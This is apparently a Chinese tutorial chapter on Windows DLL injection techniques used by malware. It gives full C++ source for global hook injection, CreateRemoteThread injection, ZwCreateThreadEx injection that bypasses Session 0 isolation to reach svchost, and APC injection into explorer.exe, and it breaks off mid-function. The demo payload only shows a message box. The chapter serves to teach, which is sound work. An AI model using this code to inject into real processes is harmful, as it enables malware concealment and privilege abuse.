注入技术

第三章 注入技术

为了方便对目标进程空间数据进行修改,或者戴上目标进程的“面具”进行伪装,病毒木马需要将执行的Shellcode或者DLL注入到目标进程中去执行,其中DLL注入最为普遍。

这是因为DLL不需要像Shellcode那样要获取kernel32.dll加载基址并根据导出表获取导出函数地址。若DLL成功注入,则表示DLL已成功加载到目标进程空间中,其导入表、导出表、重定位表等均已加载和修改完毕,DLL中的代码可以正常执行。

全局钩子注入

关于钩子

在Windows中大部分的应用程序都是基于消息机制的,它们都有一个消息过程函数,根据不同的消息完成不同的功能。Windows操作系统提供的钩子机制就是用来截获和监视系统中这些消息的。

按照钩子作用的范围不同,它们又可以分为局部钩子和全局钩子。局部钩子是针对某个线程的;而全局钩子则是作用于整个系统的基于消息的应用。全局钩子需要使用DLL文件,在DLL中实现相应的钩子函数。

实现原理

由上述介绍可以知道,如果创建的是全局钩子,那么钩子函数必须在一个DLL中。这是因为进程的地址空间是独立的,发生对应事件的进程不能调用其他进程地址空间的钩子函数。如果钩子函数的实现代码在DLL中,则在对应事件发生时,系统会把这个DLL加载到发生事件
的进程地址空间中,使它能够调用钩子函数进行处理。

在操作系统中安装全局钩子后,只要进程接收到可以发出钩子的消息,全局钩子的DLL文件就会由操作系统自动或强行地加载到该进程中。因此,设置全局钩子可以达到DLL注入的目的。创建一个全局钩子后,在对应事件发生的时候,系统就会把DLL加载到发生事件的进程中这样,便实现了DLL注人。

为了能够让DLL注入到所有的进程中,程序设置WH_GETMESSAGE消息的全局钩子。因为WH_GETMESSAGE类型的钩子会监视消息队列,并且WindoWs系统是基于消息驱动的,所以所有进程都会有自已的一个消息队列,都会加载WHGETMESSAGE类型的全局钩子DLL。

代码实现

项目结构

image-20221025151000138

ConsoleApplication3.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <Windows.h>
#include<tchar.h>
#include<stdio.h>

int _tmain(int argc, _TCHAR* argv[]) {
typedef BOOL(*typedef_SetGlobalHook)();
typedef BOOL(*typedef_UnsetGlobalHook)();
HMODULE hDll = NULL;
typedef_SetGlobalHook SetGlobalHook = NULL;
typedef_UnsetGlobalHook UnsetGlobalHook = NULL;
BOOL bRet = FALSE;

do
{
hDll = LoadLibraryW(TEXT("Dll1.dll"));
if (NULL == hDll)
{
printf("LoadLibrary Error[%d]\n", ::GetLastError());
break;
}
SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetGlobalHook");
if (NULL == SetGlobalHook)
{
printf("GetProcAddress Error[%d]\n", ::GetLastError());
break;
}
bRet = SetGlobalHook();
if (bRet)
{
printf("SetGlobalHook OK.\n");
}
else
{
printf("SetGlobalHook ERROR.\n");
}

system("pause");

UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetGlobalHook");
if (NULL == UnsetGlobalHook)
{
printf("GetProcAddress Error[%d]\n", ::GetLastError());
break;
}
UnsetGlobalHook();
printf("UnsetGlobalHook OK.\n");

} while (FALSE);

system("pause");
return 0;
}

dllmain.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include "framework.h"

HMODULE g_hDllModule = NULL;


BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
g_hDllModule = hModule;
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

export.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include "framework.h"
extern HMODULE g_hDllModule;
// 共享内存
#pragma data_seg("mydata")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")

extern "C" {
__declspec(dllexport) LRESULT GetMsgProc(int code,WPARAM wParam,LPARAM lParam);
__declspec(dllexport) BOOL SetGlobalHook();
__declspec(dllexport) BOOL UnsetGlobalHook();
}
// 钩子回调函数
LRESULT GetMsgProc(
int code,
WPARAM wParam,
LPARAM lParam)
{
return ::CallNextHookEx(g_hHook, code, wParam, lParam);
}


// 设置全局钩子
BOOL SetGlobalHook()
{
g_hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);
if (NULL == g_hHook)
{
return FALSE;
}
return TRUE;
}

// 卸载钩子
BOOL UnsetGlobalHook()
{
if (g_hHook)
{
::UnhookWindowsHookEx(g_hHook);
}
return TRUE;
}

测试

运行后成功注入到某些进程中

屏幕截图-151703

远线程注入

远线程注入是指一个进程在另一个进程中创建线程的技术。

远线程注入DLL之所以能称为远线程,是由于它使用关键函数CreateRemoteThread来在其他进程空间中创建一个线程。

实现原理

首先,程序在加载一个DLL时,它通常调用LoadLibrary函数来实现DLL的动态加载。
然后,再看下创建远线程的函数CreateRemoteThread的声明

1
2
3
4
5
6
7
8
9
HANDLE CreateRemoteThread(
[in] HANDLE hProcess, //要在其中创建线程的进程句柄
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes, //指定新线程的安全描述符,并确定子进程是否可以继承返回的句柄
[in] SIZE_T dwStackSize, //堆栈的初始大小
[in] LPTHREAD_START_ROUTINE lpStartAddress, //*远程进程中线程的起始地址*
[in] LPVOID lpParameter, //*指向要传递给线程函数的变量的指针*
[in] DWORD dwCreationFlags, //控制线程创建的标志
[out] LPDWORD lpThreadId //指向接收线程标识符的变量的指针
);

从声明中可以知道,CreateRemoteThread需要传递的是目标进程空间中的多线程函数地址,以及多线程参数,其中参数类型是空指针类型。

1
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL)

如果程序能够获取目标进程LoadLibrary函数的地址,而且还能够获取目标进程空间中某个DLL路径字符串的地址,那么,可将LoadLibrary函数的地址作为多线程函数的地址,某个DLL路径字符串作为多线程函数的参数,并传递给CreateRemoteThread函数在目标进程空间中创建一个多线程。

所以需要解决以下两个问题:

一、目标进程空间中LoadLibrary函数的地址是多少?

由于Windows引入了基址随机化ASLR安全机制,所以导致每次开机时系统DLL的加载地址都不一样,从而导致了DLL导出函数的地址也不一样。但有些系统DLL(例如kernel32.dll,ntdll.dll)的加载基地址,要求系统启动之后必须固定,如果系统重新启动,则其地址可以不同。也就是说,虽然进程不同,但是开机后,kernel32.dll的加载基址在各个进程都是相同的,因此导出函数的地址也相同。所以,自己程序空间的LoadLibrary函数地址(kernel32.dll)和其他进程空间的LoadLibrary函数地址(kernel32.dll)相同

二、如何向目标进程空间中写入DLL路径字符串数据

直接调用VirtualAllocEx函数在目标进程空间中申请一块内存,然后再调用WriteProcessMemory函数将指定的DLL路径写入目标进程空间中。

代码实现

项目架构

image-20221026104242492

Dll1(要注入到目标程序的dll)dllmain.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "framework.h"

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, TEXT("This Is From Dll!\nInject Success!"), TEXT("OK"), MB_OK);
MessageBox(NULL, TEXT("This I222Inject Success!"), TEXT("OK"), MB_OK);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

CreateRemoteThread(操作注入的程序)

AdjustTokenPrivilegesTest.h

1
2
3
4
5
#ifndef _ADJUST_TOKEN_PRIVILEGES_H_
#define _ADJUST_TOKEN_PRIVILEGES_H_
#include <Windows.h>
BOOL EnbalePrivileges(HANDLE hProcess, char* pszPrivilegesName);
#endif

InjectDll.h

1
2
3
4
5
6
#ifndef _INJECT_DLL_H_
#define _INJECT_DLL_H_
#include <Windows.h>
// 使用 CreateRemoteThread 实现远线程注入
BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, char* pszDllFileName);
#endif

CreateRemoteThread.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// CreateRemoteThread.cpp : 定义控制台应用程序的入口点。

#include "InjectDll.h"
#include "AdjustTokenPrivilegesTest.h"
#include <stdio.h>
#include <windows.h>
#include<tchar.h>

int _tmain(int argc, _TCHAR* argv[])
{
// 提升当前进程令牌权限
EnbalePrivileges(::GetCurrentProcess(), SE_DEBUG_NAME);
// 远线程注入 DLL
//带注入的进程pid,以及要注入的dll路径(根据实际要求需修改)
#ifndef _WIN64
BOOL bRet = CreateRemoteThreadInjectDll(4316, "C:\\C++\\winhack\\remotedll\\001\\001.dll"); //32位
#else
BOOL bRet = CreateRemoteThreadInjectDll(6676, "C:\\C++\\winhack\\remotedll\\001\\x64\\Release\\001.dll");//64位
#endif

if (FALSE == bRet)
{
printf("Inject Dll Error.\n");
}
printf("Inject Dll OK.\n");
system("pause");
return 0;
}

AdjustTokenPrivilegesTest.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include "AdjustTokenPrivilegesTest.h"


void EP_ShowError(char* pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
}


BOOL EnbalePrivileges(HANDLE hProcess, char* pszPrivilegesName)
{
HANDLE hToken = NULL;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tokenPrivileges = { 0 };
BOOL bRet = FALSE;
DWORD dwRet = 0;


// 打开进程令牌并获取具有 TOKEN_ADJUST_PRIVILEGES 权限的进程令牌句柄
bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
if (FALSE == bRet)
{
EP_ShowError("OpenProcessToken");
return FALSE;
}
// 获取本地系统的 pszPrivilegesName 特权的LUID值
bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
if (FALSE == bRet)
{
EP_ShowError("LookupPrivilegeValue");
return FALSE;
}
// 设置提升权限信息
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 提升进程令牌访问权限
bRet = ::AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);
if (FALSE == bRet)
{
EP_ShowError("AdjustTokenPrivileges");
return FALSE;
}
else
{
// 根据错误码判断是否特权都设置成功
dwRet = ::GetLastError();
if (ERROR_SUCCESS == dwRet)
{
return TRUE;
}
else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
{
EP_ShowError("ERROR_NOT_ALL_ASSIGNED");
return FALSE;
}
}

return FALSE;
}

InjectDll.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include "InjectDll.h"
void ShowError(char* pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
}


// 使用 CreateRemoteThread 实现远线程注入
BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, char* pszDllFileName)
{
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;

// 打开注入进程,获取进程句柄
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
ShowError("OpenProcess");
return FALSE;
}
// 在注入进程中申请内存
dwSize = 1 + ::lstrlen(pszDllFileName);
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (NULL == pDllAddr)
{
ShowError("VirtualAllocEx");
return FALSE;
}
// 向申请的内存中写入数据
if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
{
ShowError("WriteProcessMemory");
return FALSE;
}
// 获取LoadLibraryA函数地址
pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr)
{
ShowError("GetProcAddress_LoadLibraryA");
return FALSE;
}
// 使用 CreateRemoteThread 创建远线程, 实现 DLL 注入
HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL);
if (NULL == hRemoteThread)
{
ShowError("CreateRemoteThread");
return FALSE;
}
// 关闭句柄
::CloseHandle(hProcess);

return TRUE;
}

测试

未运行前,待注入程序ConsoleApplication1.exe没有加载Dll1.dll

image-20221026110132995

运行后(管理员权限),成功注入ConsoleApplication1.exe到中

image-20221026110328186

突破SESSION 0隔离的远线程注入

传统的远线程注入不能成功注入到一些系统服务进程,这是由于系统存在SESSION 0隔离的安全机制,传统的远线程注入DLL方法并不
能突破SESSION 0隔离。直接调用ZwCreateThreadEx函数可以进行远线程注人,还可突破SESSIONO隔离,成功注入。

关于SESSION 0隔离

在Windows XP、Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Session)运行,而这个会话是由第一个登录到控制台的用户启动的。该会话就叫做Session 0,如下图所示,在Windows Vista之前,Session 0不仅包含服务,也包含标准用户应用程序。

image-20221026140001346

将服务和用户应用程序一起在Session 0中运行会导致安全风险,因为服务会使用提升后的权限运行,而用户应用程序使用用户特权(大部分都是非管理员用户)运行,这会使得恶意软件以某个服务为攻击目标,通过“劫持”该服务,达到提升自己权限级别的目的。

从Windows Vista开始,只有服务可以托管到Session 0中,用户应用程序和服务之间会被隔离,并需要运行在用户登录到系统时创建的后续会话中。例如第一个登录的用户创建 Session 1,第二个登录的用户创建Session 2,以此类推,如下图所示。

image-20221026140036941

实现原理

与传统的CreateRemoteThread函数实现的远线程注入 DLL 的唯一一个区别就是,突破SESSION 0隔离的远线程注入是使用比CreateRemoteThread函数更为底层的ZwCreateThreadEx函数来实现创建远线程,而具体的远线程注入原理是相同的。其中,ZwCreateThreadEx在ntdll.dll中并没有声明,所以我们需要使用GetProcAddress从ntdll.dll中获取该函数的导出地址

通过调用CreateRemoteThread函数创建远线程的方式在内核6.0(WindowsVISTA、7、8等)以前是完全没有间题的,但是在内核6.0以后引入了会话隔离机制。它在创建一个进程之后并不立即运行,而是先挂起进程,在查看要运行的进程所在的会话层之后再决定是否恢复进程运行。

经过跟踪CreateRemoteThread函数和逆向分析,发现内部调用ZwCreateThreadEx函数创建远线程的时候,第七个参CreateSuspended(CreateThreadFlags)值为1,它会导致线程创建完成后一直挂起无法恢复运行,这就是为什么DLL注入失败的原因。

所以,要想使系统服务进程远线程注人成功,需要直接调用ZwCreateThreadEx函数,将第七个参数CreateSuspended(CreateThreadFlags)的值置为零,这样线程创建完成后就会恢复运行,注入成功。

代码实现

项目架构

image-20221027093107602

Dll1(要注入到目标程序的dll)

同上一个项目,但由于会话隔离,在系统服务程序里不能显示程序窗体,也不能用常规方式创建用户进程。

ZwCreateThreadEx(操作注入的程序)

AdjustTokenPrivilegesTest.h

1
2
3
4
5
#ifndef _ADJUST_TOKEN_PRIVILEGES_H_
#define _ADJUST_TOKEN_PRIVILEGES_H_
#include <Windows.h>
BOOL EnbalePrivileges(HANDLE hProcess, char* pszPrivilegesName);
#endif

InjectDll.h

1
2
3
4
5
6
#ifndef _INJECT_DLL_H_
#define _INJECT_DLL_H_
#include <Windows.h>
// 使用 ZwCreateThreadEx 实现远线程注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pszDllFileName);
#endif

ZwCreateThreadEx.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// ZwCreateThreadEx_Test.cpp : 定义控制台应用程序的入口点。
//

#include "InjectDll.h"
#include "AdjustTokenPrivilegesTest.h"
#include<tchar.h>
#include<stdio.h>

int _tmain(int argc, _TCHAR* argv[])
{
// 提升当前进程令牌权限
EnbalePrivileges(::GetCurrentProcess(), SE_DEBUG_NAME);
// 远线程注入 DLL
#ifndef _WIN64
BOOL bRet = ZwCreateThreadExInjectDll(10040,"C:\\Users\\admin\\Desktop\\C++\\ZwCreateThreadEx\\x64\\Debug\\Dll1.dll");
#else
//带注入的系统进程pid,以及要注入的dll路径(根据实际要求需修改)64位
BOOL bRet = ZwCreateThreadExInjectDll(11584, "C:\\Users\\admin\\Desktop\\C++\\ZwCreateThreadEx\\x64\\Debug\\Dll1.dll");
#endif
if (FALSE == bRet)
{
printf("Inject Dll Error.\n");
}
printf("Inject Dll OK.\n");
system("pause");
return 0;

AdjustTokenPrivilegesTest.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include "AdjustTokenPrivilegesTest.h"


void EP_ShowError(char* pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
}


BOOL EnbalePrivileges(HANDLE hProcess, char* pszPrivilegesName)
{
HANDLE hToken = NULL;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tokenPrivileges = { 0 };
BOOL bRet = FALSE;
DWORD dwRet = 0;


// 打开进程令牌并获取具有 TOKEN_ADJUST_PRIVILEGES 权限的进程令牌句柄
bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
if (FALSE == bRet)
{
EP_ShowError("OpenProcessToken");
return FALSE;
}
// 获取本地系统的 pszPrivilegesName 特权的LUID值
bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
if (FALSE == bRet)
{
EP_ShowError("LookupPrivilegeValue");
return FALSE;
}
// 设置提升权限信息
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 提升进程令牌访问权限
bRet = ::AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);
if (FALSE == bRet)
{
EP_ShowError("AdjustTokenPrivileges");
return FALSE;
}
else
{
// 根据错误码判断是否特权都设置成功
dwRet = ::GetLastError();
if (ERROR_SUCCESS == dwRet)
{
return TRUE;
}
else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
{
EP_ShowError("ERROR_NOT_ALL_ASSIGNED");
return FALSE;
}
}

return FALSE;
}

InjectDll.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#include "InjectDll.h"


void ShowError(char* pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
}


// 使用 ZwCreateThreadEx 实现远线程注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pszDllFileName)
{
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
HANDLE hRemoteThread = NULL;
DWORD dwStatus = 0;

// 打开注入进程,获取进程句柄
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
ShowError("OpenProcess");
return FALSE;
}
// 在注入进程中申请内存
dwSize = 1 + ::lstrlen(pszDllFileName);
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (NULL == pDllAddr)
{
ShowError("VirtualAllocEx");
return FALSE;
}
// 向申请的内存中写入数据
if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
{
ShowError("WriteProcessMemory");
return FALSE;
}
// 加载 ntdll.dll
HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
if (NULL == hNtdllDll)
{
ShowError("LoadLirbary");
return FALSE;
}
// 获取LoadLibraryA函数地址
pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr)
{
ShowError("GetProcAddress_LoadLibraryA");
return FALSE;
}
// 获取ZwCreateThread函数地址
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown); //64位ZwCreateThread函数声明
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown); //32位ZwCreateThread函数声明
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
ShowError("GetProcAddress_ZwCreateThread");
return FALSE;
}
// 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
if (NULL == hRemoteThread)
{
ShowError("ZwCreateThreadEx");
return FALSE;
}
// 关闭句柄
::CloseHandle(hProcess);
::FreeLibrary(hNtdllDll);

return TRUE;
}

注意:ZwCreateThread函数声明在32位和64位系统下,函数声明不同;要注入系统64位进程,需要生成64位程序。

测试

未运行前,待注入系统进程svchost(pid:11594)没有加载Dll1.dll

image-20221027091408413

运行后(管理员权限),成功注入svchost(pid:11594)到中

image-20221027091655040

APC注入

Windows的APC机制 https://blog.csdn.net/qq_38474570/article/details/104326170

APC(Asynchronous Procedure Call)为异步过程调用,是指函数在特定线程中被异步执行。在Windows操作系统中,APC是一种并发机制,用于异步IO或者定时器。每一个线程都有自已的APC队列,使用QueueUserAPC函数把一个APC函数压人APC队列中。当处于用户模式的APC压人线程APC队列后,该线程并不直接调用APC函数,除非该线程处于可通知状态,调用的顺序为先入先出(FIFO)。

实现原理

在Windows系统中,每个线程都会维护一个线程APC队列,通过QueueUserAPC把一个APC函数添加到指定线程的APC队列中。每个线程都有自已的APC队列,这个APC队列记录了要求线程执行的一些APC函数。Windows系统会发出一个软中断去执行这些APC函数,对
于用户模式下的APC队列,当线程处在可警告状态时才会执行这些APC函数。一个线程在内部使用SignalObjectAndWait、SleepEx、WaitForSingleObjectEx等函数把自已挂起时就是进入可警告状态,此时便会执行APC队列函数。

一个进程包含多个线程,为了确保能够执行插入的APC,应向目标进程的所有线程都插入相同的APC,实现加载DLL的操作。

实现APC注入的具体流程如下:

首先,通过OpenProcess函数打开目标进程,获取目标进程的句柄。

然后,通过调用WIN32 API函数CreateToolhelp32Snapshot、Thread32First以及Thread32Next遍历线程快照,获取目标进程的所有线程ID。

接着,调用VirtualAllocEx函数在目标进程中申请内存,并通过WriteProcessMemory函数向内存中写入DLL的注入路径。

最后,遍历获取的线程ID,并调用OpenThread函数以THREAD_ALL_ACCESS访问权限打开线程,获取线程句柄。并调用QueueUserAPC函数向线程插入APC函数,设置APC函数的地址为LoadLibraryA函数的地址,并设置APC函数参数为上述DLL路径地址。

代码实现

ApcInject.h

1
2
3
4
5
6
7
8
9
10
11
#ifndef _APC_INJECT_H_
#define _APC_INJECT_H_
#include <Windows.h>
#include <TlHelp32.h>
// 根据进程名称获取PID
DWORD GetProcessIdByProcessName(char* pszProcessName);
// 根据PID获取所有的相应线程ID
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD** ppThreadId, DWORD* dwThreadIdLength);
// APC注入
BOOL ApcInjectDll(char* pszProcessName, char* pszDllName);
#endif

QueueUserAPC.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include<tchar.h>
#include<stdio.h>
#include "ApcInject.h"


int _tmain(int argc, _TCHAR* argv[])
{
BOOL bRet = FALSE;

// APC注入
#ifdef _WIN64
bRet = ApcInjectDll("explorer.exe", "C:\\Users\\admin\\Desktop\\C++\\CreateRemoteThread\\x64\\Debug\\Dll1.dll");
#else
bRet = ApcInjectDll("explorer.exe", "C:\\C C++\\winhack\\remotedll\\001\\001.dll");
#endif
if (bRet)
{
printf("APC Inject OK.\n");
}
else
{
printf("APC Inject ERROR.\n");
}

system("pause");
return 0;
}

ApcInject.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
#include <tchar.h>
#include <stdio.h>
#include "ApcInject.h"


void ShowError(char* pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText);
::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
}


// 根据进程名称获取PID
DWORD GetProcessIdByProcessName(char* pszProcessName)
{
DWORD dwProcessId = 0;
PROCESSENTRY32 pe32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = FALSE;
::RtlZeroMemory(&pe32, sizeof(pe32));
pe32.dwSize = sizeof(pe32);

// 获取进程快照
hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (NULL == hSnapshot)
{
ShowError("CreateToolhelp32Snapshot");
return dwProcessId;
}

// 获取第一条进程快照信息
bRet = ::Process32First(hSnapshot, &pe32);
while (bRet)
{
// 获取快照信息
if (0 == ::lstrcmpi(pe32.szExeFile, pszProcessName))
{
dwProcessId = pe32.th32ProcessID;
break;
}

// 遍历下一个进程快照信息
bRet = ::Process32Next(hSnapshot, &pe32);
}

return dwProcessId;
}


// 根据PID获取所有的相应线程ID
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD** ppThreadId, DWORD* pdwThreadIdLength)
{
DWORD* pThreadId = NULL;
DWORD dwThreadIdLength = 0;
DWORD dwBufferLength = 1000;
THREADENTRY32 te32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = TRUE;

do
{
// 申请内存
pThreadId = new DWORD[dwBufferLength];
if (NULL == pThreadId)
{
ShowError("new");
bRet = FALSE;
break;
}
::RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));

// 获取线程快照
::RtlZeroMemory(&te32, sizeof(te32));
te32.dwSize = sizeof(te32);
hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (NULL == hSnapshot)
{
ShowError("CreateToolhelp32Snapshot");
bRet = FALSE;
break;
}

// 获取第一条线程快照信息
bRet = ::Thread32First(hSnapshot, &te32);
while (bRet)
{
// 获取进程对应的线程ID
if (te32.th32OwnerProcessID == dwProcessId)
{
pThreadId[dwThreadIdLength] = te32.th32ThreadID;
dwThreadIdLength++;
}

// 遍历下一个线程快照信息
bRet = ::Thread32Next(hSnapshot, &te32);
}

// 返回
*ppThreadId = pThreadId;
*pdwThreadIdLength = dwThreadIdLength;
bRet = TRUE;

} while (FALSE);

if (FALSE == bRet)
{
if (pThreadId)
{
delete[]pThreadId;
pThreadId = NULL;
}
}

return bRet;
}


// APC注入
BOOL ApcInjectDll(char* pszProcessName, char* pszDllName)
{
BOOL bRet = FALSE;
DWORD dwProcessId = 0;
DWORD* pThreadId = NULL;
DWORD dwThreadIdLength = 0;
HANDLE hProcess = NULL, hThread = NULL;
PVOID pBaseAddress = NULL;
PVOID pLoadLibraryAFunc = NULL;
